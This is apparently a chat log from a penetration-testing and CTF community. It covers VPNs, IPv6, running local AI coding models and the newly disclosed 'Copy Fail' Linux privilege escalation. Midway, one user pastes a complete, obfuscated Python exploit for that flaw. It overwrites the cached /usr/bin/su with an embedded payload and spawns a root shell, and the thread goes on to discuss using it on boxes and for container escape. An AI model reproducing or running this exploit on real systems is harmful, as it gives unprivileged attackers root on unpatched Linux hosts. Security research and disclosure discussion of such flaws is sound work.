Idk how expensive it is to setup the EC2 instances though

[rancid snow]

tor isnt a vpn

[worthy cargo]

Why not just use a VPS and tunnel SSH through it, setup a socks5 proxy

[copper wedge]

oh fine

[rancid snow]

tor is a whole ass different thing lol

[dusky jacinth]

that's pretty much what we're saying

[worthy cargo]

Word

[dusky jacinth]

no proxy with socks5, but tailscale is basically that

[terse dirge]

pretty sure websites block vpns to prevent potential bot traffic or malicious traffic

[dusky jacinth]

idk if you've used it

100%

maldev academy won't let me use their site with my VPN on

like at all

I have to tell them first

[terse dirge]

ik HTB blocks some VPNs or used to

[copper wedge]

vps > vpn?

[worthy cargo]

I've used Privado VPN for years. They don't offer ipv6 but they are fast and good.

[rancid snow]

apples > oranges

[dusky jacinth]

^

[terse dirge]

no one really uses ipv6 anyways lol 😅

[worthy cargo]

I use ipv6

[dusky jacinth]

why.

[worthy cargo]

It's globally routable so it bypasses NAT

[rancid snow]

this is true if youre blind lol

[worthy cargo]

It has some use cases.

[rancid snow]

I give a solid 80% chance youre using ipv6 right now and dont know it

[terse dirge]

cloud providers ik use it but to my knowledge normal companies never really adopted it fully as a replacement for ipv4

[worthy cargo]

we're not normal people

The fuck make syou think we're normal?

lol

[rancid snow]

You ever use cellular service?

[dusky cairn]

100% not 80% 😆

[terse dirge]

that's a different protocol I believe

[worthy cargo]

cell phones deploy ipv4 NAT heavily and use ipv6 primarily

[dusky jacinth]

most enterprise environments i've done IT stuff in all use IPv4

but yeah cloud and mobile I notice use mainly IPv6

[rancid snow]

sure for part of the hop 🙂

[dusky cairn]

it's dual stack i think

[worthy cargo]

fuck ipv4 subnetting

ipv6 ftw.

[dusky jacinth]

that doesn't count

[worthy cargo]

fuck NAT too

ipv6 for the win

[terse dirge]

vlans aren't real guys

[dusky jacinth]

if you use IPv6 and IPv4 dual stacked, you aren't using IPv6

hehehe

[dusky jacinth]

this is canonical

[terse dirge]

every network should be flat like the earth 🔥

[dusky jacinth]

fuck heirarchy

[rancid snow]

lots of companies are basically just banking on ipv6 being difficult to mass scan without dns records as their entire firewall strategy was 'NAT drops incoming request'

[dusky cairn]

for few years but ipv6 will take over soon

[terse dirge]

we'll have dyson spheres before ipv6 is adopted by everything

[dusky cairn]

ipv6 is nice

[dusky jacinth]

this is also canonical

[worthy cargo]

You have watches,
but we have the time!

You have the weapons,
but we have the rhyme!

From Cyrus the great to the youth in the street,
We don't know surrender. We don't know defeat.

Fucking love Iran and their Lego videos

Sick tunez

[dusky jacinth]

Okay

good night gamers

CPTS to be continued

[dusky cairn]

nice

good night

[worthy cargo]

Yeah, exactly.

Just mean we need to have robust firewall rules

[summer urchin]

I believe I’m close to elite hacker

[worthy cargo]

Nice

Sup Donut

[summer urchin]

root flag for overwatch and ai’m elite

[summer urchin]

nothin much, u?

[worthy cargo]

Donut did you get CC working for free yet?

[dusky jacinth]

careful it'll delete your model

like for real

unless you aren't talking about claude code

[worthy cargo]

Yes, CC= Claude code

[dusky jacinth]

that's what I thought

[rancid snow]

codex > claude

[worthy cargo]

I manually verify everything CC is about to do before I let it touch my codebase or system. Every piece of code is audited by me, every command. I don't let it auto do anything.

Can't blame the AI for developer mistakes man

Devs just choose option 2, and let CC do whatever the hell and rely on prompts

That's a recipe for disaster

[summer urchin]

not yet

I don’t need CC rn, but I’ll set it up at some point

[rancid swallow]

I have a question

[summer urchin]

really?
I’ve used codex before, and it was really good, but never used claude code

[worthy cargo]

I might have an answer

What's up

[rancid snow]

Ill let it do a lot of code changes in one pass, but I have a bunch of validators going on, and the only tool it can use besides grep are tools built specifically for the project at hand.

git is never ran even through the interface, only I the human type out git

[summer urchin]

lol

[rancid snow]

claude was the goat but anthropic nerfed opus and rate limits

[summer urchin]

ohh

that

yes

[worthy cargo]

I'm using local model with CC

qwen/qwen3-coder-480b-a35b-instruct

[rancid swallow]

How to cope with people criticizing that u used AI to make projects
-# just asking generally, if u face this too

[worthy cargo]

I don't use Claude models.

[rancid snow]

not messed with local models yet, on my todo list

[summer urchin]

as ryan once said
blame 0xdf for all problems u have with claude
jk

[terse dirge]

https://www.linkedin.com/posts/lexiecooper_i-love-dns-it-always-works-great-for-me-activity-7424486962042073090--4Ai/

[worthy cargo]

Take 10mg Fukitol daily.

[summer urchin]

how can ur computer run a 480b

[worthy cargo]

Basically, just learn not to give a fuck.

[rancid swallow]

legendary GPU - 3060

[rancid snow]

my project either has undeniable results and it doesnt matter how it was built, or it was a shitty project to begin with

[rancid swallow]

understood

[worthy cargo]

I'm already a dev, and I code 5000% faster with AI than alone.

[summer urchin]

I have a 3080TI and can barely run a 32b

[rancid snow]

also my project was started initially to learn how much of ai usage is hype or bullshit first hand anyways instead of parroting other peoples opinions

[worthy cargo]

If you're not already a developer, using vibe coding can hurt you

90% of vibe coding is code audit.

Human review

[rancid swallow]

same ...i already am a SWE too

[rancid swallow]

how many tokens/s u getting?

[worthy cargo]

Check last night's DMs

[rancid swallow]

probably its still using CPU then

[summer urchin]

it is yeah

[rancid snow]

id argue 90% is actually project management lul but similar sentiment

[worthy cargo]

potato potahto

[summer urchin]

it uses all my 12GB vram on my gou

gpu*

[rancid swallow]

weird then

[summer urchin]

and 70% of cpu

[summer urchin]

lol

[rancid swallow]

wait , 3080TI has just 12GB?

[summer urchin]

yeah

[rancid swallow]

sed

[summer urchin]

alright

[worthy cargo]

nvtop info

I've got Stable Diffusion 1.5 model loaded right now

[summer urchin]

how much did u think it had lol

[summer urchin]

whats ur gpu

[worthy cargo]

I've got 12GB VRAM

[rancid swallow]

i thought 16 but ok

[worthy cargo]

3060 RTX 12GB

[summer urchin]

WHAT?

[rancid swallow]

usually the xx80 has 16

[summer urchin]

why does mine run so slow then

[worthy cargo]

skill issue?

😄

[rancid swallow]

[summer urchin]

I use ollama

[worthy cargo]

I don't use ollama. I use oobabooga's text generation web ui or LM studio

[summer urchin]

so weird

[worthy cargo]

for stable diffusion I use AUTOMATIC1111

[summer urchin]

weird

[iron galleon]

i just made an awesome ai tool today

spent hours on it today

[rancid snow]

example of bad use of ai

[summer urchin]

so mine should run much faster

[summer urchin]

lol

[rancid snow]

why you giving ai any credit card lmao

[worthy cargo]

Yeah I do the same on privacy.com

Make cards and use those

with spending limits

So people won't be able to overcharge me

[terse dirge]

yall seen this yet? https://copy.fail/

[rancid swallow]

yes...did u get ur 3080Ti from Temu
-# /jk

[worthy cargo]

https://gitlab.com/Eggzy/funguybot/-/blob/main/plugins/lastfm.py Here i what I made tonight with Deepseek and Claude Code

[summer urchin]

of course not

[iron galleon]

does anyone want to have a look at my github repository

in dms

[terse dirge]

I've tested it already and the POC works on supposedly every linux kernel right now I think

[rancid swallow]

why not share here , we wont cover your judge by the book

[iron galleon]

alright

[terse dirge]

I tested it on kernel 6.18 on kali

[iron galleon]

https://github.com/pb3ck/quarry

[rancid swallow]

damn seems very interesting

[iron galleon]

thanks

[worthy cargo]

┌──(stoned㉿kali)-[~/tmp]
└─$ python3 e.py                                 
# 

That copy fail is crazy!

Holy shit.

[terse dirge]

yeah, the weird payload thing for the SUID binary is an elf file that spawns a new shell as root

the vuln itself is something in a cryptography kernel module

[worthy cargo]

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

I am going to ask AI to explain this to me like I'm a baby

Rooting boxes just became 100% easy!

[terse dirge]

"An unprivileged local user can write 4 controlled bytes into the page cache of any readable file on a Linux system, and use that to gain root." there's a technical blog post you can find from the copy.fail website

[worthy cargo]

That's just fucking crazy, man

[iron galleon]

what do u guys think of this

[rancid snow]

it was also found by a security researcher using AI correctly. They had already identified some sus behavior but had issue actually mapping it to an attack, so they had AI map out all user reachable paths until they found an exploitable chain

[worthy cargo]

Seems pretty cool.

[iron galleon]

appreciate it

im gonna try to integrate it into my workflow

[fringe magnet]

I’m glad someone else thought to test CopyFail against a box haven’t done so but the thought sure was tempting

[silver forge]

Makes cert tests much easier I guess

[rancid snow]

its supposedly also a container escape

so can make cert tests really easy

[fringe magnet]

I’m curious about that. Would it require the binary to be run outside of the container in order for it to crossover?

Like exploit inside, wait until someone runs the binary outside the container, get the callback

[rancid snow]

no

containers actually share the kernel with the host, so this exploit can just skip right out

I dont think it can by default but not tested

[silver forge]

Yeah but running su from a container? Only works if su is present, and the namespacing might throw the exploit off. Should test that.

[fringe magnet]

Right, so the page cache is poisoned, but the binary still needs to be run

[worthy cargo]

Right

If you don't have su on the system you're safe?

[rancid snow]

it doesnt rely on su, thats just the exploits chosen method of quick escalation

[silver forge]

Yes, but you still have to adapt it. And it's not automatic container escape. It's more likely a method of getting root in the container.

Most containers have only root anyways tbh

If there's container escape I'd like to see that adaptation

[rancid snow]

yeah youd have to adapt it but like I give that till the end of the week at the latest lol

[fringe magnet]

I think you can still get out of container exploit if it is a c2 callback, but without testing or being super knowledgeable on containers and kernels I assumed the binary would need to be ran outside the container after the page cache is messed up 🫠

[rancid snow]

from the site

[fringe magnet]

Yeah, I’d seen that. I’ll have to wait and see if it is clarified further. Not gonna do any testing tonight. I don’t think my assumptions disagree with what is there but 🤷🏻‍♂️

[silver forge]

deepseek cleans and comments the exploit pretty well

so... a container CAN run a process in the HOST namespace?

what the.. how stupid is that containerization design

ah well

[rancid snow]

I dont think its necessarily that they share a process, but they have a shared memory

and yeah, containers are a middle man alternative to full VMs lul

[silver forge]

my main issue is that I often assume software has sane design that using actual architecture decisions is built defensively. especially the Linux kernel has proven again and again that there is basically no such thing in place

like the one time I found a bug that hard locks the Linux kernel, and then LKML had some nice "huh?" moments

[rancid snow]

the #1 mistake you can make when looking for bugs is to assume someone else has already checked. The #2 mistake is assuming it was designed properly just because its popular/famous

[silver forge]

yes, very true

since it's an old bug, I will share it. I decided to blink the lights on PS/2 keyboard. if you did it faster than 20 times per second, it lead 100% reliably into hard kernel lock.

[rancid snow]

and I only order it that way because sometimes bugs happen even in well designed stuff

[silver forge]

there was a buffer with nothing to prevent from overflow, and the data next to it was actually vital

[rancid snow]

im convinced that theres an absolute deluge of various DoS bugs out there that dont get reported simply because of how boring they are

[silver forge]

and ring buffers that are incorrectly implemented. no one just tests them under extreme load.

"looks like it works, ship it"

if I were to search for dos issues from linux kernel, I'd sieve the source code for ring buffer and alike implementations. since there's no standard library in kernel, every driver and functionality might have their own.

the one I found had been sitting there from the 90s

and no it wasn't a bug bounty or anything. I just really wanted to blink the keyboard lights

[sweet lintel]

When you test copyfail locally, and your version of Cachy is already patched against it...

[marsh shuttle]

omg i cant waittttt

its been like a month

[raven rain]

how about another?

[marsh shuttle]

another month 😢

[high cobalt]

Me: Wakes up, opens chat, sees Linux 0-day 🥲 What a bad day to be sick and a defender

[rancid swallow]

[crimson smelt]

🍆 🕹️

[rancid swallow]

whats the 0-day about btw?

[sweet lintel]

LPE on Linux

[crimson smelt]

copyfai

[high cobalt]

Local Privilege Escalation

[crimson smelt]

copyfail *

[rancid swallow]

demn

[crimson smelt]

An actually useful 0day exploit mostly found through AI

not AI slop for a change

[sweet lintel]

Been patched in CachyOS for awhile now

[high cobalt]

Yeah eben works in Containers etc.

[crimson smelt]

it's a pretty nice 0day

[high cobalt]

Yeah but Debian still unfixed 😭

[rancid swallow]

[sweet lintel]

Debian is still vulnerable.
CachyOS has had it patched for several days / weeks.

Maybe it's time to switch :p

[opaque crow]

sl0pday

[high cobalt]

Now even though I am at home and called in sick I will try to contact incident response how we handle this ...

[sweet lintel]

LPE not RCE - If an attacker has gotten that far, you've already failed

[high cobalt]

Yeah but there are CIs, Bastion Hosts etc.

[sweet lintel]

If you want an RCE, then

https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/

:p

[raven rain]

yea i talked to copyfail. they seemed pretty nice

[stone marsh]

Lot's of different hosts that could be smuggling a little intruder

[rancid swallow]

epik

[stone marsh]

So if anyone now wants easy points for retired machines...

[sweet lintel]

First need RCE / A shell :p

[raven rain]

linpeas value about to go crazy

[stone marsh]

This added to the other 5 LPE methods that linpeas will shout at you

[high cobalt]

A CI/CD Pipeline is basically running untrusted code ... so still a problem

[sweet lintel]

And if someone is running untrusted code on your CI/CD pipeline on a non-sandboxed environment, you have bigger problems :p

[stone marsh]

Untrusted code on our CI/CD platform? But that is all of the users of the pipeline!

[raven rain]

i don't trust any user to run any code, including myself. that's why i have AI run all my code instead

[sweet lintel]

You can effortlessly run a reverse shell on the Github CD - It's pointless though as it's sandboxed and dies after a minute.

Add a reverse shell to a codeql analysis Github workflow - Feel free to test it yourself

It's sandboxed, so they don't care :p

[stone marsh]

I feel like that sentence always ends up with some autistic dude finding some weird bug

[sweet lintel]

The entire system is rather specifically designed to let people temporarily run code on said system

[high cobalt]

I work at a university, I still don't like the idea of random people being able to get root on the sandbox VM from our GitLab Rinners even though it is a sandboxed network

[sweet lintel]

And if you get a breakout - That's a different / far larger issue

[stone marsh]

Right, and autistic people find bugs in those systems all the time. I am not saying it is vulnerable, I am saying that is the attitude to why a lot of breakouts happen, not because of necesarily bad design/choices, but because there are bugs in everything and certain people will just try harder than others

[rancid swallow]

Ohhh u work as a Professor or something?

[high cobalt]

No, just IT employee

[sweet lintel]

If you want to discover and use a docker / vmware / whatever 0-day to troll Github by breaking out of their build environment - Go right ahead :p

[drowsy wave]

hello everyone does htb academy support China Unionpay debit card for payment method?

[rancid swallow]

ah i see, cool

[stone marsh]

Nah, I am not the right level of autistic

We need to get a level 10 autist on the case

[drowsy wave]

or i must use visa debit card

[summer urchin]

I would ask support

[stone marsh]

https://help.hackthebox.com/en/articles/5185500-what-payment-options-are-supported-and-do-you-store-payment-details

[terse dirge]

I love metal so much, lots of hidden gem bands

[high cobalt]

Imagine this: You have a Jumphost which is used by contractors to connect to a machine but is only limited to that via a configuration. A Ransomware group steals credentials from the contractor and can now even get Root on Jumpost to circumvent security measures. Now you don't just have one account compromised but full access with persistence and backdoors ...

Stuff like this happens in the wild

[sweet lintel]

In that case their ability to steal credentials in the first case is the larger issue.

[high cobalt]

Credentials are really easily stolen

[sweet lintel]

Then steal my credentials 🙂

[rancid swallow]

[stone marsh]

You may be the correct level of autist for the job

[terse dirge]

https://open.spotify.com/artist/2xevVC5j2Ink2VeA2wnwkR maybe?

[high cobalt]

Just because you value credentials doesn't mean Karen from HR or the shitty Contractor you hired does. Phishing is the most likely inital access point for ransomware in AD

[terse dirge]

I fw hardcore bands that sound like screaming with insane guitars lol

[rancid swallow]

[sweet lintel]

And if the companies IT department isn't blocking the resultant site from the phishing link that Karen from HR is clicking on leads to, there's the bigger problem at play once again 🙂

[terse dirge]

Boundaries, Stick to your guns absolute peak hardcore bands

Now sugar spine might be up there too

[sweet lintel]

And similarly, if Karen from HR's credentials can get you a shell on an environment, IT has failed once again

(Seriously - If Karen from HR has shell access to prod, you should leave your company very, VERY fast :p)

(... Or I guess fix it very, VERY fast if you're the one responsible for IT :p)

[terse dirge]

Or your manager/a higher up that calls bash "the cli" 💀

[rancid swallow]

[sweet lintel]

Many red flags - Karen from HR with shell access is just one of the reddest :p

[terse dirge]

Real

[terse dirge]

Sugar spine is indeed a gem btw 🤘

[wispy flower]

Hey

[rancid swallow]

suggest some best ones u got
I'm in the mood to go

[terse dirge]

Cabal, boundaries, execution day (if you like emo), aviana, orbit culture, silent planet, born of Osiris, veil of Maya, and dreamwake

Tried to give you lesser popular bands 😅

[stone marsh]

Orbit Culture is great, saw them live when they were in London last year

[rancid swallow]

even better

[high cobalt]

Karens account doesn't need shell access. 1. It only needs access to the right resources to move laterally. 2. Not every org has a large IT Team and a SOC. Our university got ransomwared by a compromised student account. Yes of course there were many fails in the way which lead to this but still, stuff happens all the time especially in smaller orgs

[terse dirge]

Wage war is also pretty good if you like fit for an autopsy

[terse dirge]

Hell yeah

https://open.spotify.com/track/4KteeqJ0kmlSKhccX0rjuu?si=QMEfCYw1SQ6tYV09pMYHCw

[terse dirge]

Best veil of Maya song

You'll recognize the guitar solo from an older og metal band

|| iron maiden ||

[sweet lintel]

If any (... every) single point of failure can cause your entire business to fail, you've failed from the start.

[terse dirge]

There's also the plot in you but they're a bit popular lol, their singer's solo stuff Landon Tewers is amazing

[rancid swallow]

Hell yeah